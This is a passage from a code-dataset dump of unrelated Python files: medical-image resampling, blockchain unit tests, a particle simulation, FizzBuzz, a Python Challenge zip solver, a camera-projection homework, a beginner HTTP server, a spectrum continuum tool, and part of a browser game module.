Path('/home/alexander/Documents/DataProjects/Data/MBI/ProstateX/generated/train/nifti_resampled') \n else:\n path_to_nifti = Path('/home/alexander/Documents/DataProjects/Data/MBI/ProstateX/generated/test/nifti')\n path_to_nifti_resampled = Path('/home/alexander/Documents/DataProjects/Data/MBI/ProstateX/generated/test/nifti_resampled')\n \n # Methods\n\n def resample_image(desired_voxel_spacing, source_file_path):\n image = sitk.ReadImage(str(source_file_path))\n original_image_spacing = image.GetSpacing()\n\n if original_image_spacing != desired_voxel_spacing:\n ### HOW TO RESAMPLE SITK_IMAGE TO A NEW SPACING ###\n ### SOURCE: https://github.com/SimpleITK/SimpleITK/issues/561 ###\n \n # Converting to np array for calculations of new_size\n original_size_array = np.array(image.GetSize(), dtype = np.int)\n original_spac_array = np.array(image.GetSpacing())\n desired_spac_array = np.array(desired_voxel_spacing)\n \n new_size = original_size_array * (original_spac_array / desired_spac_array)\n new_size = np.ceil(new_size).astype(np.int)\n new_size = [int(s) for s in new_size]\n new_size = tuple(new_size)\n \n # Create the resample filter\n resample = sitk.ResampleImageFilter()\n resample.SetInterpolator(sitk.sitkLinear) \n resample.SetSize(new_size)\n resample.SetOutputOrigin(image.GetOrigin()) \n resample.SetOutputSpacing(desired_voxel_spacing)\n resample.SetOutputDirection(image.GetDirection())\n \n try:\n resampled_image = resample.Execute(image)\n # Print the changes\n print('\\n')\n print('Resampling:', \"/\".join(source_file_path.parts[-5:]))\n print('original spacing:', image.GetSpacing())\n print('desired spacing:', desired_voxel_spacing)\n print('resampled spacing:', resampled_image.GetSpacing())\n print('original size:', image.GetSize())\n print('resampled size:', resampled_image.GetSize())\n print('\\n')\n except:\n print('Problem with resampling image.')\n \n else:\n resampled_image = image\n \n return resampled_image\n \n def write_resampled_image(image, path, counter):\n writer = sitk.ImageFileWriter()\n writer.SetFileName(str(path))\n writer.Execute(image)\n print('Saving image to:', \"/\".join(path.parts[-5:]))\n counter = counter + 1\n return counter\n \n\n patient_folders = [x for x in path_to_nifti.iterdir() if x.is_dir()]\n for patient_folder in patient_folders:\n #patient_id = patient_folder.parts[-1]\n subdirectories = [x for x in patient_folder.iterdir() if x.is_dir()]\n for subdirectory in subdirectories:\n if 't2' in str(subdirectory):\n for file_path in subdirectory.rglob('*.*'):\n path_t2_resampled = path_to_nifti_resampled.joinpath(\"/\".join(file_path.parts[-3:]))\n t2_resampled = resample_image(desired_voxel_spacing.get('t2'), file_path)\n counter = write_resampled_image(t2_resampled, path_t2_resampled,counter)\n if 'adc' in str(subdirectory):\n for file_path in subdirectory.rglob('*.*'):\n path_adc_resampled = path_to_nifti_resampled.joinpath(\"/\".join(file_path.parts[-3:]))\n adc_resampled = resample_image(desired_voxel_spacing.get('adc'), file_path)\n counter = write_resampled_image(adc_resampled, path_adc_resampled,counter) \n if 'bval' in str(subdirectory):\n for file_path in subdirectory.rglob('*.*'):\n path_bval_resampled = path_to_nifti_resampled.joinpath(\"/\".join(file_path.parts[-3:]))\n bval_resampled = resample_image(desired_voxel_spacing.get('bval'), file_path)\n counter = write_resampled_image(bval_resampled, path_bval_resampled,counter) \n if 'ktrans' in str(subdirectory):\n for file_path in subdirectory.rglob('*.*'):\n path_ktrans_resampled = path_to_nifti_resampled.joinpath(\"/\".join(file_path.parts[-3:]))\n ktrans_resampled = resample_image(desired_voxel_spacing.get('ktrans'), file_path)\n counter = write_resampled_image(ktrans_resampled, path_ktrans_resampled,counter) \n\n print('\\n ++++ Files reviewed for resampling:', counter)\n\ndef main():\n is_training_data = False\n \n # Obtain input about datset from user\n dataset_type = input('Which dataset is being resampled? (1-Train; 2-Test):')\n if dataset_type == str(1):\n is_training_data = True\n \n # Set desired spacing based on EDA\n desired_voxel = {'t2':(0.5,0.5,3.0),\n 'adc':(2.0,2.0,3.0),\n 'bval':(2.0,2.0,3.0),\n 'ktrans':(1.5,1.5,4.0)} \n \n resample_voxel_spacing(is_training_data, desired_voxel)\n\nmain()","sub_path":"src/01-preprocessing/03_resample_nifti.py","file_name":"03_resample_nifti.py","file_ext":"py","file_size_in_byte":5886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"73188874","text":"import pytest\n\nfrom app.chaine.blockchain import Blockchain\n\n\n@pytest.fixture\ndef one_transaction():\n bc = Blockchain()\n bc.new_transaction('a', 'b', 1)\n\n\ndef test_create_transaction():\n bc = Blockchain()\n bc.new_transaction('a', 'b', 1)\n transaction = bc.current_transactions[-1]\n\n assert transaction\n assert transaction['sender'] == 'a'\n assert transaction['recipient'] == 'b'\n assert transaction['amount'] == 1\n\n\ndef test_resets_current_transactions_when_mined():\n bc = Blockchain()\n bc.new_transaction('a', 'b', 1)\n\n initial_length = len(bc.current_transactions)\n\n bc.new_block(123, 'abc')\n\n current_length = len(bc.current_transactions)\n\n assert initial_length == 1\n assert current_length == 0\n","sub_path":"test/logic/test_transaction_features.py","file_name":"test_transaction_features.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"324818683","text":"from numpy import cos, arccos, sin, arctan, tan, tanh, pi, sqrt; from numpy import array as ary; import numpy as np; tau = 2*pi\nfrom particlerelax import Point, REF_STEP_SIZE, F_LIMIT, inv_kernel, RAD\nfrom SimpleMapping import circle_to_sextant, tessellate_circle_properly, rotate_list_of_points, quadrature\nfrom scipy.stats import describe\nimport logging\nlogger = logging.getLogger(__name__) #created logger with NOSET level of logging, i.e. all messages are recorded.\nlogger.setLevel(logging.DEBUG)\nlogHandler = logging.FileHandler('attract_underrelaxed.log')\nhandler = logger.addHandler(logHandler)\n\nREF_STEP_SIZE = 1\nDIAMETER = 0.035886910451285364*2\nMAX_REF_STEP_SIZE = DIAMETER\nSTART_FROM_PRISTINE = False\nRESOLUTION = 1200\n\ndef str2array(l):\n p=0\n text = ['',]*l.count(']') \n for i in l: \n if i==']': \n p += 1 \n elif i =='[': \n pass \n else: \n text[p] += i \n return ary([np.fromstring(entry.lstrip(', '), sep=',') for entry in text])\n\ndef attract_kernel(x):\n f = tanh(x/RAD-DIAMETER)*RAD\n return -(abs(f)+f)/2\n\ndef underrelaxer(x, width=RAD/MAX_REF_STEP_SIZE):\n #ceiling \n scale_factor = 1/width\n strict_func = lambda s : inv_kernel( np.clip(s*scale_factor, 0, width) )\n lenient_func = lambda s : np.clip(sqrt(x), 0, 1)\n return (strict_func(x)+ lenient_func(x))/2\n\nclass Slice:\n def __init__(self, list_of_points, ak=attract_kernel):\n self.points = []\n self.ak_raw = ak\n self.weaken_factor = 1\n for p in list_of_points:\n #each one should be a Point object\n self.points.append(p)\n self.num_points = len(self.points)\n \n def attract_kernel(self, disp):\n return self.weaken_factor*self.ak_raw(disp) # no scaling needed\n \n def walk(self, final_force_array):\n for i in range(self.num_points):\n self.points[i].walk(final_force_array[i])\n\n def get_full_internal_forces(self):\n return [ p.get_force_raw(self.points) for p in self.points]\n\n def get_total_force_raw(self, slice_above, slice_below):\n force_list = self.get_full_internal_forces()\n for i in range(self.num_points):\n disp_above = slice_above.points[i].pos - self.points[i].pos\n disp_below = slice_below.points[i].pos - self.points[i].pos\n force_list[i] = np.append(force_list[i], [self.attract_kernel(disp_above), self.attract_kernel(disp_below)], axis=0)\n return force_list\n \n def get_total_force(self, slice_above, slice_below):\n force_list = self.get_total_force_raw(slice_above, slice_below)\n averaged_forces = []\n for i in range(self.num_points):\n force = force_list[i]\n averaged_forces.append( [sum(force[:,0])/len(force), sum(force[:,1])/len(force)] )\n return averaged_forces\n\nif __name__=='__main__':\n if START_FROM_PRISTINE:\n circle = tessellate_circle_properly(417)\n data_trimmed = []\n for theta in np.linspace(0, tau, RESOLUTION):\n rotated_circle = rotate_list_of_points(circle, theta)\n transformed_list = circle_to_sextant(rotated_circle)\n data_trimmed.append(transformed_list)\n else:\n with open('single_cable_data.txt', 'r') as f:\n data = ('').join(f.readlines()).replace('\\n','').replace(']],',']]\\n').split('\\n')\n data = [i for i in data if len(i)>3] #at least 3 characters long string is needed\n interval = len(data)//RESOLUTION\n data_trimmed = ary([ str2array(dat_line[1:-1]) for dat_line in data])[::interval]\n\n #create a column containing {RESOLUTION} number of slices\n column = []\n for cross_section in data_trimmed:\n column.append( Slice([ Point(pos) for pos in cross_section ]))\n\n step = 0\n des = describe([1,1]) #create a dummy describe object to start the iteration off with.\n while des.minmax[1] > F_LIMIT and des.mean > F_LIMIT/2.5:\n column_force = []\n for i in range(len(column)):\n below = i-1\n above = (i+1)%len(column)\n column_force.append( column[i].get_total_force(column[below], column[above]) )\n des = describe( [quadrature(xy) for xy in np.concatenate(column_force)] )\n step_size = underrelaxer(des.minmax[1]/column[i].points[0].radius_of_effectiveness)* REF_STEP_SIZE\n logger.debug(\"Step {0} has a mean force of {1} with bounds of {2} and skewness={3}. Taking a step of size={4}\".format( step, des.mean, des.minmax, des.skewness, step_size) )\n\n for i in range(len(data_trimmed)):\n column[i].walk( ary(column_force)[i]*step_size )\n # logger.info(\"finished step \"+str(step))\n np.save('attract_underrelaxed.npy', column)\n step += 1 \n","sub_path":"submit_jobs/interframeattract.py","file_name":"interframeattract.py","file_ext":"py","file_size_in_byte":4765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"404416166","text":"print('Welcome to FIZZ/Buzz Game: ')\r\nnumber = int(raw_input('Please enter number from 1 to 100: '))\r\n\r\nfor num in range(number):\r\n num += 1\r\n numcheck3 = num % 3\r\n numcheck5 = num % 5\r\n if num == 0:\r\n print('')\r\n elif numcheck3 == 0 and numcheck5 == 0:\r\n print('fizzBUZZ')\r\n elif numcheck5 == 0:\r\n print('Buzz')\r\n elif numcheck3 == 0:\r\n print('fizz')\r\n else:\r\n print(num)","sub_path":"fizzbuzz/fizzbuzz.py","file_name":"fizzbuzz.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"155350638","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nimport zipfile, string, re, urllib\nfrom StringIO import StringIO\n\n\n\"\"\"\nzip - now there are pairs\nreadme.txt: welcome to my zipped list.\n\nhint1: start from 90052\nhint2: answer is inside the zip\n\"\"\"\nsite = \"http://www.pythonchallenge.com/pc/def/\"\nopt = \"channel.jpg\"\nanswer_to_find = \"\"\ncoll_comments = \"\"\nnothing = \"90052\"\n#zobj = StringIO()\n\n# zipfile.ZipFile(file[, mode[, compression[, allowZip64]]])\n# zipfile.ZipInfo([filename[, date_time]])\n\n#zobj.write(urllib.urlopen(site + \"channel.zip\").read())\n\n#with zipfile.ZipFile(zobj) as channel_zip:\nwith zipfile.ZipFile('channel.zip','r') as channel_zip:\n # objs_list = channel_zip.infolist()\n name_list = channel_zip.namelist()\n # print(name_list, end = \" \")\n # channel_zip.printdir()\n for _file in name_list:\n content = channel_zip.read(_file)\n # only in answer there's no ' is '\n if content.find(\" is \") == -1:\n # print(_file + \" \" + content, end = \" \")\n answer_to_find = content\n found_in_file = _file\n\n # second part - collect the comments\n info_obj_list = channel_zip.infolist()\n # verification that info_list and name_list are in same order --> zip them to relate them\n print(\"\")\n verified = True\n print(str(len(info_obj_list)) + \" Files in zip File\")\n for c in range(len(info_obj_list)):\n# print(channel_zip.infolist()[c].filename + \" \" + channel_zip.namelist()[c], end = \" \")\n if info_obj_list[c].filename != name_list[c]:\n verified = False\n if verified:\n print(\"it is verified by comparing file names, that infolist and namelist are in same order\" +\\\n \" --> zip them to relate them\")\n else:\n print(\"infolist and namelist are in no related order ... puh!\")\n\n name_info_list = zip(name_list, info_obj_list)\n \n# filename = ZipInfo_obj.filename\n# comment = ZipInfo_obj.comment\n# collect the comments\n# find filename in second tuple of name_info_list, \n# get comment of related first tuple, get content of file for next\n for _ in range(len(name_info_list)): # there are 910\n# without using zipped name_info_list:\n# coll_comments += channel_zip.getinfo(nothing + \".txt\").comment\n for tup in name_info_list:\n if nothing + \".txt\" == tup[0]:\n coll_comments += tup[1].comment\n # get next nothing\n inspected_file = nothing + \".txt\"\n file_content = channel_zip.read(inspected_file)\n# nothing = \"\".join(re.findall('nothing is ([0-9]*)', file_content))\n nothing = file_content.split()[-1]\n if not nothing.isdigit():\n print(\"unexptected content in inspected file \" + inspected_file)\n break\n\n# answer_to_find = \"in progress\"\nprint(\"\")\nprint(\"First answer to find is: \" + answer_to_find + \" found in file '\" + found_in_file + \"'\")\nprint(\"Second answer to find is collected comment of each file comment in zip file: \\n\" + coll_comments)\n#webbrowser.open(site + answer_to_find)\n","sub_path":"2017/pythonchallenge.com/6_ZIp.py","file_name":"6_ZIp.py","file_ext":"py","file_size_in_byte":3124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"252412787","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 27 15:22:35 2020\n\n@author: femw90\n\"\"\"\n\n'''\nProblem 2\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\n\n# convert points from euclidian to homogeneous\ndef to_homog(points):\n check = np.shape(points)\n homog = np.ones((check[0]+1, check[1]))\n homog[0:check[0], 0:check[1]] = points[:,:]\n '''\n homog = np.array([ [0, 0, 0]]).T\n if check == 2:\n x=points[0,0]\n y=points[1,0]\n homog = np.array([ [x, y, 1]]).T\n elif check == 3:\n x=points[0,0]\n y=points[1,0]\n z=points[2,0]\n homog = np.array([ [x, y, z,1]]).T\n else: print(\"Error with \\n\", points, \"\\n in to_homog\")\n '''\n return(homog)\n # write your code here\n \n \n# convert points from homogeneous to euclidian\ndef from_homog(points_homog):\n # write your code here\n check = np.shape(points_homog)\n last_row = points_homog[check[0]-1, :]\n euclid = points_homog/last_row[None,:]\n euclid = euclid[0:check[0]-1, :]\n '''\n euclidian = np.array([ [0, 0, 0,0]]).T\n if check == 3:\n x=points_homog[0,0]/points_homog[2,0]\n y=points_homog[1,0]/points_homog[2,0]\n euclidian = np.array([ [x, y]]).T\n elif check == 4:\n x=points_homog[0,0]/points_homog[3,0]\n y=points_homog[1,0]/points_homog[3,0]\n z=points_homog[2,0]/points_homog[3,0]\n euclidian = np.array([ [x, y, z]]).T\n else: print(\"Error with \\n\", points_homog, \"\\n in from_homog\")\n '''\n return(euclid)\n \n \n \n\n\n# project 3D euclidian points to 2D euclidian\ndef project_points(P_int, P_ext, pts):\n # write your code here\n pts_homog = to_homog(pts)\n \n pts_final = np.matmul( P_int, np.matmul(P_ext, pts_homog))\n \n return from_homog(pts_final)\n\n\n\n# Change the three matrices for the four cases as described in the problem\n# in the four camera functions geiven below. Make sure that we can see the formula\n# (if one exists) being used to fill in the matrices. Feel free to document with\n# comments any thing you feel the need to explain. \n\ndef camera1():\n # write your code here\n '''\n Use transformation matrix as below\n [R t\n 0 1]\n where R is 3x3 rotation matrix, t is 3x1 transformation matrix, 0 is 1x3 vector of 0's and 1 is a single 1 in the last cell.\n \n no rotation so R is 3x3 identity\n no translation so t is [0,0,0].T\n '''\n P_ext = np.array([[1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, 1]])\n \n '''\n intrinsic is given by: ([[f, 0, 0, 0],\n [0, f, 0, 0],\n [0, 0, 1, 0]])\n here f is focal length = 1\n '''\n f=1\n P_int_proj = np.array([[f, 0, 0, 0],\n [0, f, 0, 0],\n [0, 0, 1, 0]])\n return P_int_proj, P_ext\n\ndef camera2():\n # write your code here\n '''\n Use transformation matrix as below\n [R t\n 0 1]\n where R is 3x3 rotation matrix, t is 3x1 transformation matrix, 0 is 1x3 vector of 0's and 1 is a single 1 in the last cell.\n \n no rotation so R is 3x3 identity\n translation is [1,-1,1].T, however since it is stated that the optical axis of the camera is aligned with the z-axis,\n the only way this is possible is if there is only z-axis translation. Therefore, translation is [0,0,1].T\n '''\n P_ext = np.array([[1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 1],\n [0, 0, 0, 1]])\n \n '''\n intrinsic is given by: ([[f, 0, 0, 0],\n [0, f, 0, 0],\n [0, 0, 1, 0]])\n here f is focal length = 1\n '''\n f=1\n P_int_proj = np.array([[f, 0, 0, 0],\n [0, f, 0, 0],\n [0, 0, 1, 0]])\n \n return P_int_proj, P_ext\n\ndef camera3():\n # write your code here\n '''\n Use transformation matrix as below\n [R t\n 0 1]\n where R is 3x3 rotation matrix, t is 3x1 transformation matrix, 0 is 1x3 vector of 0's and 1 is a single 1 in the last cell.\n \n rotation\n about x-axis: Rx = ([[1, 0, 0],\n [0, cos(@), -sin(@)],\n [0, sin(@), cos(@)]]), where @ is angle 20 degrees\n \n about y-axis: Ry = ([[cos(@), 0, sin(@)],\n [0, 1, 0],\n [-sin(@), 0, cos(@)]]) where @ is angle 45 degrees\n \n rotation is R = Rx*Ry (matrix mult), because the y rotation comes first in rotating from A to target B\n \n translation is [-1,0,1].T\n '''\n cos20 = np.cos(np.deg2rad(20))\n sin20 = np.sin(np.deg2rad(20))\n cos45 = np.cos(np.deg2rad(45))\n sin45 = np.sin(np.deg2rad(45))\n \n Rx = np.array([[1, 0, 0],\n [0, cos20, -sin20],\n [0, sin20, cos20]])\n Ry = np.array([[cos45, 0, sin45],\n [0, 1, 0],\n [-sin45, 0, cos45]])\n \n R = np.matmul(Rx, Ry)\n bOa = np.array([-1, 0, 1]).T\n P_ext = np.zeros((4,4))\n P_ext[0:3,0:3] = R\n P_ext[0:3, 3] = bOa\n P_ext[3,3] = 1\n \n \n \n '''\n intrinsic is given by: ([[f, 0, 0, 0],\n [0, f, 0, 0],\n [0, 0, 1, 0]])\n here f is focal length = 1\n '''\n f=1\n P_int_proj = np.array([[f, 0, 0, 0],\n [0, f, 0, 0],\n [0, 0, 1, 0]])\n\n return P_int_proj, P_ext\n\ndef camera4(): \n # write your code here\n '''\n Use transformation matrix as below\n [R t\n 0 1]\n where R is 3x3 rotation matrix, t is 3x1 transformation matrix, 0 is 1x3 vector of 0's and 1 is a single 1 in the last cell.\n \n rotation\n about x-axis: Rx = ([[1, 0, 0],\n [0, cos(@), -sin(@)],\n [0, sin(@), cos(@)]]), where @ is angle 20 degrees\n \n about y-axis: Ry = ([[cos(@), 0, sin(@)],\n [0, 1, 0],\n [-sin(@), 0, cos(@)]]) where @ is angle 45 degrees\n \n rotation is R = Rx*Ry (matrix mult), because the y rotation comes first in rotating from A to target B\n \n translation is [-1,0,1].T\n '''\n cos20 = np.cos(np.deg2rad(20))\n sin20 = np.sin(np.deg2rad(20))\n cos45 = np.cos(np.deg2rad(45))\n sin45 = np.sin(np.deg2rad(45))\n \n Rx = np.array([[1, 0, 0],\n [0, cos20, -sin20],\n [0, sin20, cos20]])\n Ry = np.array([[cos45, 0, sin45],\n [0, 1, 0],\n [-sin45, 0, cos45]])\n \n R = np.matmul(Rx, Ry)\n bOa = np.array([-1, -1, 21]).T\n \n P_ext = np.zeros((4,4))\n P_ext[0:3,0:3] = R\n P_ext[0:3, 3] = bOa\n P_ext[3,3] = 1\n \n \n \n '''\n intrinsic is given by: ([[f, 0, 0, 0],\n [0, f, 0, 0],\n [0, 0, 1, 0]])\n here f is focal length = 1\n '''\n f=7\n P_int_proj = np.array([[f, 0, 0, 0],\n [0, f, 0, 0],\n [0, 0, 1, 0]])\n return P_int_proj, P_ext\n\n# Use the following code to display your outputs\n# You are free to change the axis parameters to better \n# display your quadrilateral but do not remove any annotations\n\ndef plot_points(points, title='', style='.-r', axis=[]):\n inds = list(range(points.shape[1]))+[0]\n plt.plot(points[0,inds], points[1,inds],style)\n \n for i in range(len(points[0,inds])):\n plt.annotate(str(\"{0:.3f}\".format(points[0,inds][i]))+\",\"+str(\"{0:.3f}\".format(points[1,inds][i])),(points[0,inds][i], points[1,inds][i]))\n \n if title:\n plt.title(title)\n if axis:\n plt.axis(axis)\n \n plt.tight_layout()\n \ndef main():\n point1 = np.array([[-1,-.5,2]]).T\n point2 = np.array([[1,-.5,2]]).T\n point3 = np.array([[1,.5,2]]).T\n point4 = np.array([[-1,.5,2]]).T \n points = np.hstack((point1,point2,point3,point4))\n \n for i, camera in enumerate([camera1, camera2, camera3, camera4]):\n P_int_proj, P_ext = camera()\n plt.subplot(2, 2, i+1)\n plot_points(project_points(P_int_proj, P_ext, points), title='Camera %d Projective'%(i+1), axis=[-0.6,2.5,-0.75,0.75])\n plt.show()\n\nmain()\n\n\n\n'''\nif __name__ == \"__main__\":\n point1 = np.array([[-1,-.5,2]]).T\n #homog = to_homog(point1)\n #euclid = from_homog(homog)\n \n \n point1 = np.array([[-1,-.5,2]]).T\n point2 = np.array([[1,-.5,2]]).T\n point3 = np.array([[1,.5,2]]).T\n point4 = np.array([[-1,.5,2]]).T \n points = np.hstack((point1,point2,point3,point4))\n \n homog = to_homog(points)\n euclid = from_homog(homog)\n'''\n\n'''\n Use transformation matrix as below\n [R t\n 0 1]\n where R is 3x3 rotation matrix, t is 3x1 transformation matrix, 0 is 1x3 vector of 0's and 1 is a single 1 in the last cell.\n'''","sub_path":"Homography and Surface Rendering/ECE252A_HW1_V1.py","file_name":"ECE252A_HW1_V1.py","file_ext":"py","file_size_in_byte":9178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"306067407","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 2017/7/1 17:36\n# @Author : loubin\n# @File : dynamic_web_server.py\n\n\nimport re\nimport socket\n\nfrom multiprocessing import Process\n\n\n#设置静态文件根目录\nimport sys\n\nroot_src = './html'\nwsgi_src = './wsgipython'\n\n\n\nclass HTTPServer(object):\n ''' '''\n def __init__(self, port):\n self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.ip_port = ('127.0.0.1', port)\n self.server.bind(self.ip_port)\n\n\n def start(self):\n\n self.server.listen(128)\n while True:\n sock, addr = self.server.accept()\n print('{} 连接服务器'.format(str(addr)))\n\n t = Process(target=self.handle, args=(sock, addr))\n t.start()\n\n sock.close()\n\n def start_response(self, status, headers):\n\n '''接收两个参数,一个状态码,一个响应头信息'''\n '''\n status = '200 OK'\n headers = [\n ('Content-Type', 'text/plain')\n ]\n '''\n response_headers = 'HTTP/1.1 ' + status + '\\r\\n'\n for header in headers:\n response_headers += '%s : %s\\r\\n' % header\n self.response_headers = response_headers\n\n\n def handle(self, sock, addr):\n '''\n 子进程处理客户端通信的过程\n :param sock: 连接的新客户端的socket \n :param addr: 客户端ip和端口的信息\n :return: None\n '''\n recv_data = sock.recv(1024)\n\n recv_data_str = recv_data.decode()\n\n recv_list = recv_data_str.split('\\r\\n')\n print(recv_list)\n\n recv_start = recv_list[0]\n\n # 'GET /demo.html HTTP/1.1'\n # file_name = re.match(r'\\w+ +(/[^ ]+) +', recv_start).group(1)\n file_name = re.match(r\"\\w+ +(/[^ ]*) \", recv_start).group(1)\n method = re.match(r\"(\\w+) +/[^ ]* \", recv_start).group(1)\n\n print(file_name[1:-3])\n\n\n if file_name.endswith('.py'):\n try:\n m = __import__(file_name[1:-3])\n print('&'*40)\n print(m)\n print('&'*40)\n except Exception:\n\n self.response_headers = \"HTTP/1.1 404 Not Found\\r\\n\"\n\n responseBody = 'not found'\n\n else:\n env = {\n \"PATH_INFO\": file_name,\n 'METHOD': method\n\n }\n\n responseBody = m.application(env, self.start_response)\n\n response = self.response_headers + '\\r\\n' + responseBody\n else:\n if \"/\" == file_name:\n file_name = \"/index.html\"\n\n fname = root_src + file_name\n\n try:\n f = open(fname, 'rb')\n print('try---------')\n\n except:\n print('except----------')\n # 构造响应数据\n responseHeader = 'HTTP/1.1 404 \\r\\n'\n responseServer = 'MySever: 1.2 \\r\\n'\n responseBody = 'NOT FOUND OBJECT'\n\n response = responseHeader + responseServer + '\\r\\n' + responseBody\n print(response)\n\n sock.send(response.encode())\n\n else:\n print('else-------------')\n f_data = f.read()\n # 构造响应数据\n responseHeader = 'HTTP/1.1 200 OK \\r\\n'\n responseServer = 'MySever: 1.2 \\r\\n'\n # responseBody = f_data.decode(\"utf-8\")\n responseBody = f_data.decode()\n response = responseHeader + responseServer + '\\r\\n' + responseBody\n print(response)\n f.close()\n\n # sock.send(bytes(response, \"utf-8\"))\n\n sock.send(response.encode())\n print('else-------------')\n\n sock.close()\n\n\ndef main():\n sys.path.insert(1, wsgi_src)\n\n http_server = HTTPServer(8080)\n http_server.start()\n\n\n\nif __name__ == '__main__':\n main()","sub_path":"就业/linux网络编程/13/dynamic_web_server.py","file_name":"dynamic_web_server.py","file_ext":"py","file_size_in_byte":4081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"143787609","text":"# getconti.py\n# 12/05/2016 ALS \n\n\"\"\"\ntools to isolate continuum \n\"\"\"\n\nimport numpy as np\nimport copy\n\nfrom scipy.ndimage.filters import median_filter, generic_filter\n\nfrom ..filters import getllambda\nimport linelist\n\ndef decompose_cont_line_t2AGN(spec, ls, z):\n \"\"\"\n decompose the spectrum of type 2 AGN into two components: continumm and emission line, by making the lines and running medium filter. This method is slower than a vanilla version medium filter but it estiamtes the continuum around the strong lines better. \n\n See selectcont() for the line selection. \n\n Params\n ------\n spec (array): spectrum, may have unit\n ls (array)\n z (float)\n toplot=False (bool)\n\n Return\n ------\n speccon\n specline\n ls\n \"\"\"\n # main\n selcon = selectcont(spec, ls, z, AGN_TYPE=2, NLcutwidth=80., BLcutwidth=180., vacuum=True)\n\n speccon_nan = copy.copy(spec)\n speccon_nan[~selcon] = np.nan\n\n speccon = generic_filter(speccon_nan, np.nanmedian, size=300)\n\n specline = spec - speccon\n specline[selcon] = 0.\n\n specline = inhereit_unit(specline, spec)\n speccon = inhereit_unit(speccon, spec)\n\n return speccon, specline, ls\n\n\ndef inhereit_unit(y, x):\n if hasunit(x):\n try:\n y.unit = x.unit\n except:\n y = y * x.unit\n return y\n\n\ndef hasunit(x):\n try:\n x.unit\n except:\n return False\n else:\n return True\n\n\ndef selectcont(spec, xcoord, z, AGN_TYPE=2, NLcutwidth=70., BLcutwidth=180., vacuum=True):\n \"\"\"\n PURPOSE: select continuum w pixels using 1d spec\n PARAMETERS: \n spec\n xcoord [AA] wavelengths\n z\n AGN_TYPE=2\n NLcutwidth=70.\n BLcutwidth=180.\n vacuum=True\n \"\"\"\n NL = linelist.narrowline\n BL = linelist.broadline\n\n llambdas = np.array([])\n for i in range(len(NL)):\n llambdas = np.append(llambdas, getllambda(NL[i], vacuum=vacuum))\n llambdas = llambdas*(1.+z)\n selcut = (spec == 0)\n for i in range(llambdas.size):\n selline = np.absolute(xcoord-llambdas[i]) 1870, np.arange(selkeep.size) < 1905], axis=0)] = 0\n return selkeep.astype('bool')\n\n\n","sub_path":"bubbleimg/spector/getconti.py","file_name":"getconti.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"208537480","text":"# ada.danae.main.py\n\"\"\" Aventura Antartica.\n\nChangelog\n---------\n\n.. versionadded:: 23.06\n\n |br| Spike da Antartica (28)\n\n| **Open Source Notification:** This file is part of open source program **Alite**\n| **Copyright © 2023 Carlo Oliveira** ,\n| **SPDX-License-Identifier:** `GNU General Public License v3.0 or later `_.\n| `Labase `_ - `NCE `_ - `UFRJ `_.\n\n.. codeauthor:: Carlo Oliveira \n\n\"\"\"\nfrom browser import document, alert, html\nfrom _spy.vitollino.main import Cena, STYLE, Elemento, Salao, NADA, Labirinto, NDCT #, INVENTARIO\nSTYLE['width'] = 1350\nW, H = 1350, 650\n# IMGSIZE, IMGHEIGHT = f\"{8*W}px\", f\"{4*H}px\"\nIMGSIZE, IMGHEIGHT = f\"{32*W}px\", f\"{4*H}px\"\nANICONS = \"https://i.imgur.com/A2pPOED.png\"\nSNOWY = \"https://i.imgur.com/KxcqKpJ.gif\"\nSNOW = \"https://i.imgur.com/mpOU7Ca.gif\"\nHSNOW = \"https://i.imgur.com/i5dLK8G.gif\"\nBSNOW = \"https://i.imgur.com/4B1xuMw.gif\"\nSUICONS = \"https://i.imgur.com/cM95ybG.jpg\"\nANICONS = \"https://i.imgur.com/bmUoCIb.png\"\nSUPPLY = \"https://i.imgur.com/zWiteqC.gif\"\nSUPPLY = \"https://i.imgur.com/PWreEK2.gif\"\nPARADRP = \"https://i.imgur.com/ShQMIoU.png\"\nclass Sprite(Elemento):\n def __init__(self, img=\"\", vai=None, style=NDCT, tit=\"\", alt=\"\",\n x=0, y=0, w=100, h=100, o=1, texto='', foi=None, index=0, sw=100, sh=100, cx=1, b=0, s=1,\n cena=\"\", score=NDCT, drag=False, drop={}, tipo=\"100% 100%\", **kwargs):\n #style=dict(left=x, top=x, width=f\"{w}px\", height=f\"{h}px\", overflow=\"hidden\", filter= f\"blur({b}px)\", scale=s)\n style=dict(width=f\"{w}px\", height=f\"{h}px\", overflow=\"hidden\", filter= f\"blur({b}px)\", scale=s)\n position = f\"-{index % cx * w}px -{index // cx * w}px\"\n style.update({\"max-width\": f\"{sw}px\", \"max-height\": f\"{sh}px\", \"background-position\": position})\n\n super().__init__(img=img, vai=vai, tit=tit, alt=alt,\n x=x, y=y, w=w, h=h, o=o, texto=texto, foi=foi,\n cena=cena, score=NDCT, drag=drag, drop=drop, tipo=f\"{sw}px {sh}px\", \n style=style,\n **kwargs)\n\nclass CenaSprite(Cena):\n def __init__(self,image, index, **kwargs):\n super().__init__(image, **kwargs)\n # style=dict(left=x, top=x, width=\"80px\", height=\"80px\", 